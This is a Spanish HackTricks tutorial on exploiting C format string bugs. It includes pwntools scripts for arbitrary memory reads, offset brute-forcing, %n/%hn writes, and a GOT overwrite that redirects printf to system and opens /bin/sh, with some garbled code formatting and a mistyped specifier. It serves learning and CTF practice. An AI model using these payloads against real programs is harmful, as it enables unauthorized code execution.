12 KiB
Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Información Básica
En C printf
es una función que se puede usar para imprimir alguna cadena. El primer parámetro que esta función espera es el texto en bruto con los formateadores. Los siguientes parámetros esperados son los valores para sustituir los formateadores del texto en bruto.
Otras funciones vulnerables son sprintf()
y fprintf()
.
La vulnerabilidad aparece cuando un texto del atacante se usa como el primer argumento para esta función. El atacante podrá crear una entrada especial abusando de las capacidades de la cadena de formato printf para leer y escribir cualquier dato en cualquier dirección (legible/escribible). De esta manera, podrá ejecutar código arbitrario.
Formateadores:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Ejemplos:
- Ejemplo vulnerable:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Uso Normal:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Con argumentos faltantes:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf vulnerable:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
Accediendo a Punteros
El formato %<n>$x
, donde n
es un número, permite indicar a printf que seleccione el n-ésimo parámetro (de la pila). Así que si quieres leer el 4º parámetro de la pila usando printf, podrías hacer:
printf("%x %x %x %x")
y leerías del primer al cuarto parámetro.
O podrías hacer:
printf("$4%x")
y leer directamente el cuarto.
Nota que el atacante controla el parámetro pr
intf
, lo que básicamente significa que** su entrada estará en la pila cuando se llame a printf
, lo que significa que podría escribir direcciones de memoria específicas en la pila.
{% hint style="danger" %}
Un atacante que controle esta entrada, podrá agregar direcciones arbitrarias en la pila y hacer que printf
las acceda. En la siguiente sección se explicará cómo usar este comportamiento.
{% endhint %}
Lectura Arbitraria
Es posible usar el formateador %n$s
para hacer que printf
obtenga la dirección situada en la n posición, siguiéndola y imprimirla como si fuera una cadena (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es 0x8048000
, y sabemos que la entrada del usuario comienza en la 4ª posición en la pila, es posible imprimir el inicio del binario con:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección. {% endhint %}
Encontrar el desplazamiento
Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (0x41414141
) seguidos de %1$x
y aumentar el valor hasta recuperar los A's
.
Fuerza bruta printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Qué tan útil
Las lecturas arbitrarias pueden ser útiles para:
* **Volcar** el **binario** de la memoria
* **Acceder a partes específicas de la memoria donde se almacena información** **sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [**desafío CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Escritura Arbitraria**
El formateador **`$<num>%n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro \<num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`$<num>%n`** escriba un número arbitrario en una dirección arbitraria.
Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada, para hacerlo es posible usar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Sin embargo, ten en cuenta que generalmente para escribir una dirección como 0x08049724
(que es un número ENORME para escribir de una vez), se usa $hn
en lugar de $n
. Esto permite escribir solo 2 Bytes. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.
Por lo tanto, esta vulnerabilidad permite escribir cualquier cosa en cualquier dirección (escritura arbitraria).
En este ejemplo, el objetivo será sobrescribir la dirección de una función en la tabla GOT que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria a exec:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Vamos a sobrescribir una función que recibe sus argumentos del usuario y apuntarla a la función system
.
Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero escribes 2Bytes de la dirección y luego los otros 2. Para hacerlo se usa $hn
.
- HOB se llama a los 2 bytes más altos de la dirección
- LOB se llama a los 2 bytes más bajos de la dirección
Luego, debido a cómo funciona la cadena de formato, necesitas escribir primero el más pequeño de [HOB, LOB] y luego el otro.
Si HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Si HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Plantilla de Pwntools
Puedes encontrar una plantilla para preparar un exploit para este tipo de vulnerabilidad en:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
O este ejemplo básico de aquí:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Cadenas de Formato a BOF
Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena de formato para escribir en direcciones de la pila y explotar un tipo de vulnerabilidad de desbordamiento de búfer.
Otros Ejemplos y Referencias
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bits, sin relro, sin canario, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (sin necesidad de alterar el flujo de ejecución)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección
fflush
con la función win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en
.fini_array
(para que el flujo vuelva a repetirse una vez más) y escribir la dirección asystem
en la tabla GOT apuntando astrlen
. Cuando el flujo regrese a main,strlen
se ejecutará con la entrada del usuario y apuntando asystem
, ejecutará los comandos pasados.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.